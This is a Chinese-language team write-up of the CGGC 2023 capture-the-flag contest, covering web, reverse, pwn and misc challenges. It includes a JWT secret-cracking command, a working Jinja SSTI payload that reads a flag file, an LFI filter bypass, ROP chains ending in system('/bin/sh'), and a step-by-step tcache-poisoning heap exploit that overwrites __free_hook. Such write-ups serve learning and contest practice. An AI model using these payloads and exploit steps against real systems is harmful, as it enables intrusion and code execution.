CGGC 2023 心得文

官方連結
Team Name:芙莉熊
Rank:9

Before all

關於明明是五人隊伍結果最後變成四個高中生混入大學比賽這檔事。
整場比賽很好玩,雖然沒有Crypto打我好傷心🥲
開賽二十幾分鐘我首殺web第一題後就沒實際功能了,但賽後從caleb和隊友那邊學到好多w。雖然說好像web第二題如果我電腦環境沒問題其實要打的了就是😭,但都是經驗,撿起來放吧XD。
image

Write Up

Web

bossti

[name=Whale120]

第一關是用jwt sign的登入頁面,把密鑰用john暴一下並修改參數登入就好:
john jwt.txt --wordlist=rockyou.txt --format=HMAC-SHA256

image

image

登入後的畫面上方有個7*7,馬上想到SSTI,結合前面JWT帶有的參數hack就可以植入payload:
{{config.__class__.__init__.__globals__['os'].popen('cat Flag.txt').read()}}

image
拿flag啦~

babyLFI(賽後解)

這題當下沒打出來是因為我在搞,100000打成1000000,結果噴錯說request太長,結果我就以為不是這樣做就沒做了

首先他有一個網站以及他有給網站source code

image

分析一下source code他用$_REQUEST{'filename#'}來接收使用者輸入,所以可以用http://10.99.111.111:12345/index.php?filename%23=這樣來接收輸入(記得#要urlencode,我忘記要用結果被卡了好幾個小時)

並且他有過濾掉php://filter,要想辦法繞過,才能用php://filter嘗試拿flag

另外注意到phpinfo在docker run 起來時就會被rm掉,所以可以自己架一個來看php info有沒有東西
image

在觀察phpinfo時我注意到PRCE限制為100000(哭阿,我打1000000,那時候沒有把他架起來QQ),所以我可以把payload填充到長度100000,繞過php://filter過濾。
image

繞過後直接用php://info構造payload就可以拿到flag

Reverse

Gaoyi

把所有判斷都 Patch 掉,跳到輸出 flag 的部分就好
image

Pwn

[name=Aukro]
腳本很醜 等修整好再丟上來


gift

送了一個大大大禮包

可以做記憶體任意寫
後來仔細想想如果多利用一下這邊的話可能可以更簡單
但我打的時候就只有單純的堆rop

- Partail RELRO

首先我先把__stack_chk_fail hijack 成mainleave ret
這樣就可以忽視stack canary
接下來我堆的是
1
2
3
4
5
6
7
8
rdi,
putsplt
putsgotplt
rdi
buf1
getsplt
rsi_r13_r14_r15_ret
buf1

也就是puts(putsgotplt); gets(buf1)
這樣就可以leak libc, 並且達到stack migration繼續開點
剛剛的gets的$\downarrow$
1
2
3
4
5
6
7
/bin/sh
0
0
rdi
buf1
ret //this is for alignment
system

system(/bin/sh)
> getshell

note

經典的heap note題
這次屬於沒有UAF的類型
但輸入可以off-by-one, 打Tcache positioning 最後打__free_hook
雖然這個off-by-one我找了一段時間

  1. 1
    2
    3
    4
    add(0,0x18)
    add(1,0x18)
    add(2,0x18)
    add(3,0x18)
    $0\ at\ 0x290$
    $1\ at\ 0x2b0$
    $2\ at\ 0x2d0$
    $3\ at\ 0x2f0$
    1
    2
    delete(3)
    delete(2)
    $0\ at\ 0x290$
    $1\ at\ 0x2b0$
    $T_{0x20}\rightarrow 2 \rightarrow 3$

----------------------------------IAMSPLITLINE----------------------------------------
2.

1
2
3
edit(0,b'a'*0x18+b'\x51')
delete(1)
add(4,0x48)

chunk_1.size = 0x50
free&melloc拿回來 ind變成4 //其實好像可以用1

現在heap是
$0\ at\ 0x290$
$1\ at\ 0x2b0~0x2f0$
$2\ at\ 0x2d0(freed)$
$3\ at\ 0x2f0(freed)$
且$T_{0x20}\rightarrow 2 \rightarrow 3$ 所以如果想要的話這裡可以拿chunk2的fd, key來leak heap, Tcache entry
----------------------------------IAMSPLITLINE----------------------------------------
3.

1
2
3
4
5
6
7
add(1,0x18)
edit(4,flat(0xdeabeef)*3 + flat(0x421, 0, 0))
make_chunk0x420_ligal()
add(5,0x28)
add(2,0x28)
add(3,0x28)
delete(1)

下一步驟我們要libc所以需要創造unsortedbin
我們完全overlap的是freed掉的2
所以我們現在把它拿回來 (now it’s idx = 1)
然後把他的size改成0x420 > T_cache_maxSize
然後確保他是個合法的chunk並且不會被merge as0x420,chunk, chunk, top chunk
後面三個0x28是後面unsorted bin壞掉 我懶得修 所以乾脆在他壞掉前先malloc就不用擔心這問題了
free掉 這時候$unsorted\ bin \rightarrow chunk\ 1\ at\ 0x2d0$
且$T_{0x20} \rightarrow 3$
----------------------------------IAMSPLITLINE----------------------------------------
4.

1
2
3
padd = flat(0xdeadbeefdeadbeef)*3+b'abcdefgh'
edit(4,padd)
getinfo(show(4))

注意到現在可控的chunk 4在0x2b0 有0x48可寫
chunk 1在0x2d0
所以我們把chunk4填滿讓他不要有nullbyte直到overwrite 0x421
這樣就會剛好只把有libc資訊的那的蓋掉第一byte 並印出
這樣並不會影響我們計算libc base
----------------------------------IAMSPLITLINE----------------------------------------
5.

1
2
3
4
delete(6_from_getinfo)
edit(5,b'a'*0x28+b'\x51')
delete(3)
delete(2)

6是一個0x30的chunk
現在5,3,2是alocated chunk
然後分別在0x730, 0x790, 0x760
用5把2的size改成0x50
2 free掉 進$T_{0x50}$
3 free掉 進$T_{0x30}$
現在重要的是
$T_{0x50} \rightarrow 2$
$T_{0x30} \rightarrow 3 \rightarrow 6$(cnt =2 )

----------------------------------IAMSPLITLINE----------------------------------------
6.

1
2
3
add(1,0x48)
edit(1,flat(0,0,0,0,0,0x31,free_hook,0xdeadbeef))
add(2,0x28)

真正的重點
現在把2拿出來 (0x760~0x7a0)
可以改到3(0x790)
重點是 fd改成free_hook, key改掉
所以呢現在
$T_{0x30} \rightarrow 3 \rightarrow &__free_hook$(cnt=2)
把3拿出來

----------------------------------IAMSPLITLINE----------------------------------------
7.

1
2
3
add(3,0x28)
edit(3,flat(system))
edit(2,b'/bin/sh\x00')

$T_{0x30} \rightarrow &__free_hook$(cnt=1)
再malloc一次就會拿出 __free_hook
__free_hook的內容寫上__libc_system
然後再任意的allocated chunk寫上/bin/sh 這裡選擇2

----------------------------------IAMSPLITLINE----------------------------------------
8.
free(2) == system(/bin/sh)

getshell

Misc

Space game

在網頁上拿到 game.gb 檔案,再用 GameBoy Emulator 把遊戲跑起來,用 Cheat Engine 修改擊敗敵人的數量 (>30) 抵達終點就會有 flag

image